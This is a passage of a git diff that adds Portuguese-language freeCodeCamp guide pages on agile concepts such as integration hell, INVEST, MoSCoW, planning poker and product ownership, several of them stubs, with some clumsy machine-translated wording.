+++ b/client/src/guide/portuguese/agile/integration-hell/index.md
@@ -0,0 +1,22 @@
+---
+title: Integration Hell
+localeTitle: Inferno de Integração
+---
+## Inferno de Integração
+
+Integração O Inferno é um termo de gíria para quando todos os membros de uma equipe de desenvolvimento passam pelo processo de implementar seu código em momentos aleatórios, sem nenhuma maneira de incorporar as diferentes partes do código em um único sring de código. A equipe de desenvolvimento terá que gastar várias horas ou dias testando e aprimorando o código para fazer tudo funcionar.
+
+Na prática, quanto mais componentes são desenvolvidos isoladamente, mais as interfaces tendem a divergir do que é esperado. Quando os componentes são finalmente integrados no final do projeto, levaria muito mais tempo do que alocado, muitas vezes levando a pressões de prazo e integração difícil. Este doloroso trabalho de integração no final do projeto é o inferno homônimo.
+
+Integração Contínua, a ideia de que uma equipe de desenvolvimento deve usar ferramentas específicas para "integrar continuamente" as partes do código em que estão trabalhando várias vezes ao dia, para que as ferramentas possam combinar os diferentes "pedaços" de código para se integrar muito mais facilmente do que antes.
+
+O Code Repositories, como o Git (e sua interface de código aberto que todos conhecemos e amamos, GitHub) permitem que as equipes de desenvolvimento organizem seus esforços para que mais tempo possa ser gasto codificando e menos tempo se preocupando se as diferentes partes do código se integrarem.
+
+[Integração Contínua](https://guide.freecodecamp.org/agile/continuous-integration/) é o antídoto Ágil para este problema. A integração ainda é dolorosa, mas fazer isso pelo menos diariamente evita que as interfaces divergam demais.
+
+#### Mais Informações:
+
+*   [Evitando o Inferno da Integração](https://tobeagile.com/2017/03/08/avoiding-integration-hell/)
+*   [Inferno de Integração](http://wiki.c2.com/?IntegrationHell)
+*   [Top 5 Dicas para Evitar o Inferno da Integração com Integração Contínua](https://www.apicasystems.com/blog/top-5-tips-avoid-integration-hell-continuous-integration/)
+*   [Artigo da D-Zone sobre Integração Inferno e como a Integração Contínua ajudou a tornar quase uma coisa do passado](https://dzone.com/articles/continuous-integration-how-0)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/invest/index.md b/client/src/guide/portuguese/agile/invest/index.md
new file mode 100644
index 0000000000..a8032da116
--- /dev/null
+++ b/client/src/guide/portuguese/agile/invest/index.md
@@ -0,0 +1,27 @@
+---
+title: INVEST
+localeTitle: INVESTIR
+---
+## INVESTIR
+
+**Eu** | **independente** ----- | -----  
+**N** | **negociável** **V** | **valioso** **E** | **estimável** **S** | **pequeno** **T** | **testável**
+
+Quando você está refinando e dimensionando as Estórias de Usuário no backlog, o mnemônico do INVEST pode ajudá-lo a determinar se eles estão prontos
+
+*   Independente
+*   A história é tão distinta quanto possível das outras histórias. Evite "2 histórias em um".
+*   Negociável
+*   Como parte da conversa entre o Dono do Produto e a Equipe de Entrega durante a preparação, os detalhes da história podem ser discutidos, aprimorados e aprimorados. Os critérios de aceitação podem ser ajustados com base no fluxo e refluxo da necessidade do cliente e capacidade técnica.
+*   Valioso
+*   Existe um valor para o cliente. Dinheiro ganho, tempo economizado, eficiência ganha, perda parada, etc. pela implementação da história.
+*   Estimável
+*   Durante a preparação, a descrição e a conversa para a história abordaram o número suficiente de perguntas da Equipe de Entrega que podem confiantemente e confortavelmente Dimensionar a história.
+*   Pequeno
+*   Você pode completar a história dentro da iteração estabelecida.
+*   Testável
+*   A história inclui critérios de aceitação que você usará para confirmar que o código atende às necessidades do cliente.
+
+#### Mais Informações:
+
+[Lotes no Google](https://www.google.com/search?q=agile+invest+negotiable&ie=utf-8&oe=utf-8)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/kano-analysis/index.md b/client/src/guide/portuguese/agile/kano-analysis/index.md
new file mode 100644
index 0000000000..b3ceeeafb8
--- /dev/null
+++ b/client/src/guide/portuguese/agile/kano-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Kano Analysis
+localeTitle: Análise de Kano
+---
+## Análise de Kano
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/kano-analysis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/lean-software-development/index.md b/client/src/guide/portuguese/agile/lean-software-development/index.md
new file mode 100644
index 0000000000..80216ce74e
--- /dev/null
+++ b/client/src/guide/portuguese/agile/lean-software-development/index.md
@@ -0,0 +1,38 @@
+---
+title: Lean Software Development
+localeTitle: Desenvolvimento de Software Lean
+---
+## Desenvolvimento de Software Lean
+
+### Introdução
+
+Lean Software Development é o processo de construção de software com foco no uso de técnicas que minimizam o trabalho extra e o desperdício de esforços. Essas técnicas são emprestadas do movimento de fabricação Lean e aplicadas ao contexto de desenvolvimento de software.
+
+### Conceitos chave
+
+Existem sete princípios dentro da metodologia que incluem:
+
+1.  Eliminar desperdício
+2.  Amplifique o aprendizado
+3.  Decida o mais tarde possível
+4.  Entregue o mais rápido possível
+5.  Capacite a equipe
+6.  Construa integridade em
+7.  Veja o todo
+
+### Metáforas
+
+O ato de programar é visto como uma linha de montagem, onde cada recurso ou correção de bug é chamado de "solicitação de mudança". Essa linha de montagem de "solicitações de mudança" pode ser considerada como um "fluxo de valor" com o objetivo de minimizar o tempo que cada "solicitação de alteração" está na linha antes de ser entregue.
+
+O software que ainda não foi entregue é considerado como "estoque", uma vez que ainda não forneceu valor à empresa ou ao cliente. Isso inclui qualquer software parcialmente concluído. Portanto, para maximizar o rendimento, é importante fornecer muitas pequenas peças completas de software.
+
+Para minimizar o "inventário", é importante separar o controle dos "trabalhadores" que seriam os desenvolvedores de software, pois eles estariam mais bem equipados para criar processos automatizados para "confundir a prova" das várias partes da linha de montagem.
+
+### Referências
+
+A fonte original da documentação escrita sobre as técnicas Lean é o livro Lean Software Development, um Agile Toolkit de Mary e Tom Poppendieck.
+
+Livros adicionais do (s) autor (es) incluem:
+
+*   Implementando o Desenvolvimento de Software Lean: Do Conceito ao Dinheiro, por Mary Poppendieck
+*   Lean Leading Software Development: Resultados não são o ponto de Mary Poppendieck
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/meta-scrum/index.md b/client/src/guide/portuguese/agile/meta-scrum/index.md
new file mode 100644
index 0000000000..4366a88102
--- /dev/null
+++ b/client/src/guide/portuguese/agile/meta-scrum/index.md
@@ -0,0 +1,11 @@
+---
+title: Meta Scrum
+localeTitle: Scrum meta
+---
+## Meta Scrum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/meta-scrum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/minimum-marketable-features/index.md b/client/src/guide/portuguese/agile/minimum-marketable-features/index.md
new file mode 100644
index 0000000000..264d527ddd
--- /dev/null
+++ b/client/src/guide/portuguese/agile/minimum-marketable-features/index.md
@@ -0,0 +1,25 @@
+---
+title: Minimum Marketable Features
+localeTitle: Características Mínimas Comerciáveis
+---
+## Características Mínimas Comerciáveis
+
+Um Recurso Mínimo Comercializável (MMF) é um recurso independente que pode ser desenvolvido rapidamente e dá um valor significativo para o usuário.
+
+**É importante observar: O** Recurso Mínimo Comercializável não é o mesmo que o Produto Mínimo Viável (MVP). Eles são conceitos diferentes. No entanto, ambos são essenciais para apoiar a ideia de que os Desenvolvedores devem buscar funcionalidade mínima para realizar qualquer resultado determinado.
+
+Divida o MMF em seus componentes principais:
+
+**Mínimo** - o menor conjunto absoluto de funcionalidade. Isso é essencial para que um determinado recurso seja comercializado rapidamente
+
+**Comercializável** - Vendendo o usuário final ou organização que o recurso tem um valor significativo
+
+**Recurso** - O valor percebido pelo usuário final. O que isso me dá? Reconhecimento de marca? Mais receita? Ajudar a cortar custos? Isso me dá uma vantagem competitiva?
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+### Fontes
+
+1. [https://www.agilealliance.org/glossary/mmf/ Acesso: 25 de outubro de 2017](https://www.agilealliance.org/glossary/mmf/) 2. [https://www.prokarma.com/blog/2015/10/23/minimum-marketable-features-agile-essential Acessado: 25 de outubro de 2017](https://www.prokarma.com/blog/2015/10/23/minimum-marketable-features-agile-essential)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/minimum-viable-product/index.md b/client/src/guide/portuguese/agile/minimum-viable-product/index.md
new file mode 100644
index 0000000000..580fe86775
--- /dev/null
+++ b/client/src/guide/portuguese/agile/minimum-viable-product/index.md
@@ -0,0 +1,15 @@
+---
+title: Minimum Viable Product
+localeTitle: Produto com minima viabilidade
+---
+## Produto com minima viabilidade
+
+A ideia é criar rapidamente um conjunto mínimo de recursos que seja suficiente para implantar o produto e testar as principais suposições sobre as interações dos clientes com o produto.
+
+#### Um Produto Mínimo Viável tem três características principais:
+
+*   Tem valor suficiente para que as pessoas estejam dispostas a usá-lo ou comprá-lo inicialmente.
+*   Demonstra benefícios futuros suficientes para reter os primeiros usuários.
+*   Ele fornece um loop de feedback para orientar o desenvolvimento futuro.
+
+Saiba mais sobre o MVP: [o que é um mvp?](https://youtu.be/MHJn_SubN4E)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/moscow/index.md b/client/src/guide/portuguese/agile/moscow/index.md
new file mode 100644
index 0000000000..82c3a76103
--- /dev/null
+++ b/client/src/guide/portuguese/agile/moscow/index.md
@@ -0,0 +1,50 @@
+---
+title: Moscow
+localeTitle: Moscou
+---
+## Moscou
+
+## Método MoSCoW
+
+Um dos significados dessa palavra é o método MoSCoW - uma técnica de priorização usada em gerenciamento, análise de negócios, gerenciamento de projetos e desenvolvimento de software para alcançar um entendimento comum com os stakeholders sobre a importância que eles atribuem à entrega de cada requisito - também conhecido como Priorização MoSCoW ou análise MoSCoW.
+
+## Priorização dos requisitos MoSCoW
+
+Todos os requisitos são importantes, mas eles são priorizados para oferecer os maiores e mais imediatos benefícios comerciais no início. Inicialmente, os desenvolvedores tentarão entregar todos os requisitos Deve ter, Dever e Poder, mas os requisitos Deve e Poder serão os primeiros a serem removidos se a escala de tempo da entrega parecer ameaçada.
+
+O simples significado inglês das categorias de priorização tem valor em fazer com que os clientes entendam melhor o impacto da definição de uma prioridade, em comparação com alternativas como Alta, Média e Baixa.
+
+As categorias são geralmente entendidas como:
+
+## Deve ter
+```
+Requirements labeled as Must have are critical to the current delivery timebox in order for it to be a success. If even one Must have requirement is not included, the project delivery should be considered a failure. MUST can also be considered an acronym for the Minimum Usable SubseT. 
+```
+
+## Deveria
+```
+Requirements labeled as Should have are important but not necessary for delivery in the current delivery timebox. While Should have requirements can be as important as Must have, they are often not as time-critical or there may be another way to satisfy the requirement, so that it can be held back until a future delivery timebox. 
+```
+
+## Poderia ter
+```
+Requirements labeled as Could have are desirable but not necessary, and could improve user experience or customer satisfaction for little development cost. These will typically be included if time and resources permit. 
+```
+
+## Não terá
+```
+Requirements labeled as Won't have have been agreed by stakeholders as the least-critical, lowest-payback items, or not appropriate at that time. As a result, Won't have requirements are not planned into the schedule for the next delivery timebox. Won't have requirements are either dropped or reconsidered for inclusion in a later timebox. 
+```
+
+O MoSCoW é um método de granulação grossa para priorizar (categorizar) os itens do Backlog do Produto (ou requisitos, casos de uso, histórias do usuário ... dependendo da metodologia usada). MoSCoW é frequentemente usado com timeboxing, onde um prazo é fixado de modo que o foco deve estar nos requisitos mais importantes. O termo MoSCoW em si é um acrônimo derivado da primeira letra de cada uma das quatro categorias de priorização (deve ter, deve ter, pode ter e não terá):
+
+*   **Deve ter** : Crítico para o timebox de entrega atual para que seja um sucesso. É tipicamente parte do MVP (Minimum Viable Product).
+*   **Deveria ter** : Importante, mas não necessário, para entrega na timebox de entrega atual.
+*   **Poderia ter** : Desejável mas não necessário, uma melhoria.
+*   **Não terá** : itens menos críticos e de menor retorno, ou não são apropriados no momento.
+
+Ao priorizar desta forma, uma definição comum do projeto pode ser alcançada e as expectativas das partes interessadas definidas de acordo. Note que MoSCoW é um pouco negligente sobre como distinguir a categoria de um item e quando algo será feito, se não neste timebox.
+
+#### Mais Informações:
+
+[Wikipedia](https://en.wikipedia.org/wiki/MoSCoW_method)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/nonfunctional-requirements/index.md b/client/src/guide/portuguese/agile/nonfunctional-requirements/index.md
new file mode 100644
index 0000000000..6bb53837cd
--- /dev/null
+++ b/client/src/guide/portuguese/agile/nonfunctional-requirements/index.md
@@ -0,0 +1,26 @@
+---
+title: Nonfunctional Requirements
+localeTitle: Requisitos não Funcionais
+---
+## Requisitos não Funcionais
+
+Um requisito não funcional (NFR) é um requisito que especifica critérios que podem ser usados ​​para julgar a operação de um sistema, em vez de comportamentos específicos (um requisito funcional). Os requisitos não funcionais são frequentemente chamados de "atributos de qualidade", "restrições" ou "requisitos não comportamentais".
+
+Informalmente, estas são algumas vezes chamadas de "ilidades", de atributos como estabilidade e portabilidade. Os NFRs podem ser divididos em duas categorias principais:
+
+*   **Qualidades de execução** , como segurança, segurança e usabilidade, que são observáveis ​​durante a operação (em tempo de execução).
+*   **Qualidades da evolução** , como testabilidade, capacidade de manutenção, extensibilidade e escalabilidade, que são incorporadas na estrutura estática do sistema
+
+Normalmente, você pode refinar um requisito não funcional em um conjunto de requisitos funcionais, como forma de detalhar e permitir testes (parciais) e validação.
+
+### Exemplos:
+
+*   A impressora deve imprimir 5 segundos após o botão ser pressionado
+*   O código deve ser escrito em Java
+*   A interface do usuário deve ser facilmente navegável
+
+#### Mais Informações:
+
+*   [Artigo da Wikipédia](https://en.wikipedia.org/wiki/Non-functional_requirement)
+*   [ReQtest](http://reqtest.com/requirements-blog/functional-vs-non-functional-requirements/) Explica a diferença entre requisitos funcionais e não funcionais
+*   [Agilidade escalonada](http://www.scaledagileframework.com/nonfunctional-requirements/) Trabalha durante o processo desde a descoberta até o teste de requisitos não funcionais
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/osmotic-communications/index.md b/client/src/guide/portuguese/agile/osmotic-communications/index.md
new file mode 100644
index 0000000000..d4d11930be
--- /dev/null
+++ b/client/src/guide/portuguese/agile/osmotic-communications/index.md
@@ -0,0 +1,12 @@
+---
+title: Osmotic Communications
+localeTitle: Comunicações Osmóticas
+---
## Comunicações Osmóticas
+
+**Comunicações osmóticas** é um dos fatores importantes de um projeto ágil de sucesso.
+
+No projeto ágil, os membros da equipe geralmente co-localizados, qualquer discussão entre alguns dos membros da equipe fluirá para outros membros da equipe. Eles podem, então, pegar informações relevantes e participar da discussão, sempre que necessário.
+
+#### Mais Informações:
+
+https://www.projectmanagement.com/wikis/295442/Osmotic-Communications http://agilemodeling.com/essays/communication.htm
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/pair-programming/index.md b/client/src/guide/portuguese/agile/pair-programming/index.md
new file mode 100644
index 0000000000..7b4821df7d
--- /dev/null
+++ b/client/src/guide/portuguese/agile/pair-programming/index.md
@@ -0,0 +1,12 @@
+---
+title: Pair Programming
+localeTitle: Par de programação
+---
+## Par de programação
+
+Extreme Programming (XP) recomenda que todo o código de produção seja escrito por dois programadores trabalhando ao mesmo tempo no mesmo computador, alternando o teclado. Vários estudos acadêmicos demonstraram que a programação em par resulta em menos bugs e mais softwares de manutenção. A programação em pares também pode ajudar a disseminar o conhecimento dentro da equipe, contribuindo para um [fator de ônibus](http://deviq.com/bus-factor/) maior e ajudando a promover a [propriedade do código coletivo](http://deviq.com/collective-code-ownership/) .
+
+#### Mais Informações:
+
+*   [Par Fundamentos de Programação (curso de treinamento)](http://bit.ly/PS-PairProgramming)
+*   [Práticas recomendadas de programação de software ágil](https://www.versionone.com/agile-101/agile-software-programming-best-practices/pair-programming/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/parallel-development/index.md b/client/src/guide/portuguese/agile/parallel-development/index.md
new file mode 100644
index 0000000000..3be5569bba
--- /dev/null
+++ b/client/src/guide/portuguese/agile/parallel-development/index.md
@@ -0,0 +1,11 @@
+---
+title: Parallel Development
+localeTitle: Desenvolvimento Paralelo
+---
+## Desenvolvimento Paralelo
+
+O Parallel Development representa o processo de desenvolvimento separado em várias ramificações, para fornecer um produto versátil com lançamentos estáveis ​​e novos recursos. Em um processo de desenvolvimento de software simples e comum, você tem apenas uma ramificação com correções de erros e melhorias, além de novos recursos. No desenvolvimento paralelo, vários ramos podem coexistir.
+
+Normalmente, o desenvolvimento paralelo contém um ramo principal, "mestre", que é o mais estável e contém correções importantes para o código existente. Na ramificação principal, mais ramificações são criadas para adicionar novos "caminhos" ao código existente. Essas ramificações fornecem novos recursos, mas não incluem correções aplicadas no tempo médio a partir da ramificação principal. Os clientes conhecem essas versões e têm equipamentos especiais ou máquinas de teste para testar os novos recursos. Quando os testes de controle de qualidade são passados, a ramificação lateral pode ser mesclada com a ramificação principal para introduzir novos recursos à versão de lançamento.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/pirate-metrics/index.md b/client/src/guide/portuguese/agile/pirate-metrics/index.md
new file mode 100644
index 0000000000..a21580b17c
--- /dev/null
+++ b/client/src/guide/portuguese/agile/pirate-metrics/index.md
@@ -0,0 +1,19 @@
+---
+title: Pirate Metrics
+localeTitle: Métricas Piratas
+---
+## Métricas Piratas
+
+Dave McClure identificou cinco categorias métricas de alto nível críticas para o sucesso de uma startup: Aquisição, Ativação, Retenção, Receita, Referência.
+
+Ele cunhou o termo "Pirate Metrics" da sigla para essas cinco categorias métricas (AARRR).
+
+Em seu livro Lean Analytics, Croll e Yoskovitz interpretam essas métricas visualmente como um funil: ![Figura 5.1 do Lean Analytics](https://github.com/yunChigewan/storage/blob/master/figure_5_1.jpg?raw=true) Lean Analytics, 2013
+
+E com mais explicações pontuais como uma tabela: ![Lean Analytics Table 5.1](https://github.com/yunChigewan/storage/blob/master/table_5_1.jpg?raw=true) Lean Analytics, 2013
+
+#### Mais Informações:
+
+*   Slideshow Original Pirate Metrics (McClure) https://www.slideshare.net/dmc500hats/startup-metrics-for-pirates-long-version
+*   Site Lean Analytics Book http://leananalyticsbook.com/
+*   O conceito tem um guia muito bom sobre as métricas do pirata (incluindo as medidas da equipe) em seu [site](http://usenotion.com/aarrrt/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/planning-poker/index.md b/client/src/guide/portuguese/agile/planning-poker/index.md
new file mode 100644
index 0000000000..438e01aa5c
--- /dev/null
+++ b/client/src/guide/portuguese/agile/planning-poker/index.md
@@ -0,0 +1,39 @@
+---
+title: Planning Poker
+localeTitle: Planejando o Poker
+---
+## Planejando o Poker
+
+### Introdução
+
+O planejamento do poker é uma técnica de estimativa e planejamento no modelo de desenvolvimento Ágil. Ele é usado para estimar o esforço de desenvolvimento necessário para uma [história do usuário](../user-stories/index.md) ou um recurso.
+
+### Processo
+
+O poker de planejamento é feito para uma história de usuário por vez.
+
+Cada estimador possui um conjunto idêntico de cartas de pôquer consistindo de cartas com vários valores. Os valores da placa são geralmente da seqüência de Fibonacci. A unidade usada para os valores pode ser o número de dias, pontos de história ou qualquer outro tipo de unidade de estimativa acordada pela equipe.
+
+O proprietário do produto (PO) ou o stakeholder explica a história que deve ser estimada.
+
+A equipe discute a história, fazendo perguntas esclarecedoras que possam ter. Isso ajuda a equipe a entender melhor o _que_ o PO deseja.
+
+No final da discussão, cada pessoa primeiro seleciona um cartão (representando sua estimativa para a história) sem mostrá-lo aos outros. Então, eles revelam suas cartas ao mesmo tempo.
+
+Se todas as cartas tiverem o mesmo valor, o valor se tornará a estimativa para a história. Se houver diferenças, a equipe discute as razões dos valores que eles escolheram. É de grande valor que os membros da equipe que deram as estimativas mais baixas e mais altas forneçam justificativas para suas estimativas.
+
+Após essa discussão, o processo de escolher um cartão em particular e depois revelá-lo ao mesmo tempo é repetido. Isso é feito até que haja um consenso sobre a estimativa.
+
+Como o planejamento do poker é uma ferramenta para moderar uma estimativa _conjunta de_ especialistas, isso leva a um melhor entendimento comum e talvez até ao refinamento da solicitação de recurso. É de grande valor, mesmo quando a equipe está operando no modo Sem estimativas.
+
+Um moderador deve tentar evitar o viés de confirmação.
+
+Coisas que vale a pena mencionar:
+
+*   As estimativas não são comparáveis ​​entre as equipes, pois cada equipe tem sua própria scala.
+*   As estimativas devem incluir tudo o que precisa ser feito para que um trabalho seja feito: criação, codificação, teste, comunicação, revisões de código (+ todos os riscos possíveis)
+*   O valor de usar o planejamento de pôquer está nas discussões resultantes, pois revelam visões diferentes sobre uma possível implementação
+
+### Mais Informações:
+
+*   Planejando o vídeo do pôquer: [YouTube](https://www.youtube.com/watch?v=MrIZMuvjTws)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/product-management/index.md b/client/src/guide/portuguese/agile/product-management/index.md
new file mode 100644
index 0000000000..29de2bc4b9
--- /dev/null
+++ b/client/src/guide/portuguese/agile/product-management/index.md
@@ -0,0 +1,52 @@
+---
+title: Product Management
+localeTitle: Gestão de produtos
+---
+## Gestão de produtos
+
+O gerenciamento de produtos é uma função organizacional que assume a responsabilidade por todo o ciclo de vida dos produtos que estão sendo vendidos. Como uma função de negócios, o gerenciamento de produtos é responsável pela criação de valor para o cliente e benefícios mensuráveis ​​para os negócios.
+
+Existem algumas responsabilidades básicas comuns à maioria das funções de gerenciamento de produtos, tanto em empresas corporativas estabelecidas quanto em startups. Na maioria das vezes, o gerenciamento de produtos é responsável por entender os requisitos do cliente, defini-los e priorizá-los e trabalhar com a equipe de engenharia para construí-los. Definir a estratégia e definir o roteiro é muitas vezes considerado trabalho de entrada e levar o produto ao mercado é muitas vezes considerado como "de saída".
+
+É importante entender as diferenças entre o gerenciamento de produtos de entrada e de saída porque um ótimo gerente de produto tem o conjunto diversificado de habilidades para fazer as duas coisas bem.
+
+A diferença entre o Gerenciamento de Produtos e o Gerenciamento de Projetos é a escala e o ciclo de vida. Os gerentes de projeto garantem que vários produtos / serviços / projetos sejam entregues a um cliente, enquanto os gerentes de produto vão além do desenvolvimento e trabalham em prol da longevidade e da operação de um produto / serviço.
+
+No desenvolvimento de jogos, podemos ver a clara mudança de Projetos para Produtos devido a jogos com planos de lançamento e estratégias de monetização mais detalhados.
+
+### Gerenciamento de produtos de entrada
+
+O gerenciamento de produtos de entrada envolve a coleta de pesquisa do cliente, a inteligência competitiva e as tendências do setor, além de definir a estratégia e gerenciar o roteiro do produto.
+
+Estratégia e definição do produto (entrada)
+
+*   Estratégia e visão
+*   Entrevistas com o cliente
+*   Definindo recursos e requisitos
+*   Roteiros de construção
+*   Gerenciamento de Liberação
+*   Ir para o recurso para engenharia
+*   Treinamento de vendas e suporte
+
+### Gerenciamento de produtos de saída
+
+O gerenciamento de produtos de saída envolve responsabilidades de marketing de produtos, tais como: mensagens e branding, comunicação com o cliente, lançamentos de novos produtos, publicidade, relações públicas e eventos. Dependendo da organização, esses papéis podem ser desempenhados pela mesma pessoa ou por duas pessoas ou grupos diferentes que trabalham em conjunto.
+
+Marketing de Produtos e Go-to-Market (Saída)
+
+*   Diferenciação competitiva
+*   Posicionamento e mensagens
+*   Nomenclatura e branding
+*   Comunicação com o cliente
+*   Lançamentos de produtos
+*   Relações de imprensa e analista
+
+### Gerente de Produto
+
+O gerenciamento de produtos continua a se expandir como uma profissão. A demanda por gerentes de produto qualificados está crescendo em todos os níveis. Há uma variedade de funções e responsabilidades, dependendo do nível de experiência. As oportunidades variam de um gerente de produto associado até o CPO.
+
+A maioria dos gerentes de produto tem desempenhado papéis diferentes no início de suas carreiras. Muitas vezes engenheiros de software, engenheiros de vendas ou consultores de serviços profissionais crescem para o papel de Gerente de Produto. Mas em algumas empresas (por exemplo, Google, Facebook, ...), gerentes de produto júnior são recrutados diretamente da escola, apoiados por programas de carreira para ensiná-los no trabalho.
+
+#### Mais Informações:
+
+Página da Wikipedia: https://en.wikipedia.org/wiki/Product\_management
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/product-owners/index.md b/client/src/guide/portuguese/agile/product-owners/index.md
new file mode 100644
index 0000000000..28e4da9bed
--- /dev/null
+++ b/client/src/guide/portuguese/agile/product-owners/index.md
@@ -0,0 +1,33 @@
+---
+title: Product Owners
+localeTitle: Proprietários de produtos
+---
+## Proprietários de produtos
+
+Os proprietários de produtos lideram a visão do produto e o planejamento da liberação. Eles são responsáveis ​​por definir os recursos, a data de lançamento e o conteúdo que compõe um produto que pode ser enviado. O objetivo de um Product Owner é construir a coisa certa de maneira rápida e correta.
+
+Em alto nível, o Product Owner é responsável pelo seguinte:
+
+*   Proprietário da visão do produto
+*   Planejamento de liberação de leads
+*   Define recursos e conteúdo do lançamento
+*   Gerencia a compreensão da equipe sobre o lançamento
+*   Cria e organiza o backlog do produto
+*   Prioriza o backlog do produto
+*   Guias equipe através do ciclo de lançamento
+*   Toma decisões de trade-off
+*   Aceita ou rejeita o trabalho
+
+O Product Owner cria um backlog de itens que eles acham que seria um bom produto. Esse conhecimento é baseado em sua compreensão do mercado, testes de usuários e projeção de mercado. Os proprietários de produtos ajustam as metas de longo prazo do produto com base no feedback que recebem dos usuários e das partes interessadas. Eles também atuam como o ponto de contato com as partes interessadas e gerenciam o escopo e as expectativas.
+
+Depois que o Dono do Produto receber feedback dos vários interessados, eles refinarão o backlog para adicionar o máximo de detalhes possível para criar um Produto Viável Mínimo (MVP) para esse lançamento.
+
+O Product Owner, então, prioriza a carga de trabalho para garantir que as histórias concluídas abordem o valor do negócio e as metas do usuário. Além disso, se houver riscos associados a determinadas histórias, o Dono do Produto colocará essas informações no topo do backlog para que os riscos sejam resolvidos com antecedência.
+
+Trabalhando com a equipe e com o Scrum Master, o Product Owner participa de reuniões de planejamento de sprint para reunir as histórias preparadas no sprint. Ao longo do sprint, o Product Owner garante que a equipe conclua o trabalho de acordo com a Definição de Pronto (DoD), responda a quaisquer perguntas que possam surgir e atualize as partes interessadas.
+
+Quando o sprint é concluído, o Dono do Produto participa da Revisão da Sprint junto com outras partes interessadas. Certificando-se de que cada história atenda ao DoD, o Dono do Produto se prepara para o próximo sprint, reunindo feedback e priorizando o trabalho com base no que foi concluído.
+
+### Mais Informações:
+
+*   A propriedade do produto ágil em um vídeo resumido: [YouTube](https://www.youtube.com/watch?v=502ILHjX9EE)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/rapid-application-development/index.md b/client/src/guide/portuguese/agile/rapid-application-development/index.md
new file mode 100644
index 0000000000..738f3ba050
--- /dev/null
+++ b/client/src/guide/portuguese/agile/rapid-application-development/index.md
@@ -0,0 +1,14 @@
+---
+title: Rapid Application Development
+localeTitle: Desenvolvimento de Aplicação Rápida
+---
+## Desenvolvimento de Aplicação Rápida
+
+O Rapid Application Development (RAD) foi concebido como uma reação aos problemas das metodologias tradicionais de desenvolvimento de software, particularmente os problemas de longos prazos de desenvolvimento. Também aborda os problemas associados à alteração de requisitos durante o processo de desenvolvimento.
+
+Os principais princípios da RAD são os seguintes: 1) Desenvolvimento Incremental. Esse é o principal meio pelo qual o RAD lida com os requisitos em constante mudança. Alguns requisitos só surgirão quando os usuários virem e experimentarem o sistema em uso. Os requisitos nunca são vistos como completos - eles evoluem com o tempo devido a mudanças nas circunstâncias. O processo RAD começa com uma lista não específica de alto nível de requisitos que são refinados durante o processo de desenvolvimento. 2) Timeboxing. Com timeboxing, o sistema é dividido em vários componentes ou timeboxes desenvolvidos separadamente. Os requisitos mais importantes são desenvolvidos no primeiro timebox. Os recursos são entregues com rapidez e frequência. 3) O princípio de Pareto. Também conhecida como a regra 80/20, isso significa que cerca de 80% da funcionalidade de um sistema pode ser entregue com cerca de 20% do esforço total necessário. Portanto, o último (e mais complexo) 20% dos requisitos exige o máximo de esforço e tempo para entregar. Portanto, você deve escolher o máximo de 80% para entregar o máximo possível dentro dos primeiros timeboxes. O restante, se for necessário, pode ser entregue em timeboxes subseqüentes. 4) regras MoSCoW. MoSCoW é um método usado para priorizar itens de trabalho no desenvolvimento de software. Itens são classificados como deve ter, deveria ter, poderia ter ou gostaria de ter. Itens obrigatórios devem ser aqueles que devem ser incluídos em um produto para que sejam aceitos como release, com as outras classificações em prioridade decrescente. 5) oficinas JAD. O Desenvolvimento de Aplicações Conjuntas (JAD) é uma reunião facilitada em que a coleta de requisitos é realizada, em particular entrevistando os usuários do sistema a ser desenvolvido. O workshop JAD geralmente ocorre no início do processo de desenvolvimento, embora reuniões adicionais possam ser organizadas, se necessário, mais adiante no processo. 6) Prototipagem. Construir um protótipo ajuda a estabelecer e esclarecer os requisitos do usuário e, em alguns casos, evolui para se tornar o próprio sistema. 7) Patrocinador e campeão. Um patrocinador executivo é alguém dentro da organização que deseja o sistema, está comprometido em alcançá-lo e está preparado para financiá-lo. Um defensor é alguém, geralmente com um nível mais baixo de antiguidade do que um executivo, que está comprometido com o projeto e está preparado para levá-lo até a conclusão. 8) Conjunto de ferramentas. A RAD geralmente adota conjuntos de ferramentas como meio de acelerar o processo de desenvolvimento e melhorar a produtividade. Ferramentas estão disponíveis para controle de alterações, gerenciamento de configuração e reutilização de código.
+
+#### Mais Informações:
+
+*   https://en.wikipedia.org/wiki/Repid _application_ development - Artigo da Wikipédia sobre RAD
+*   https://www.tutorialspoint.com/sdlc/sdlc _rad_ model.htm - tutorial do TutorialsPoint sobre RAD
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/rational-unified-process/index.md b/client/src/guide/portuguese/agile/rational-unified-process/index.md
new file mode 100644
index 0000000000..6904ef9ed4
--- /dev/null
+++ b/client/src/guide/portuguese/agile/rational-unified-process/index.md
@@ -0,0 +1,11 @@
+---
+title: Rational Unified Process
+localeTitle: Processo Racional Unificado
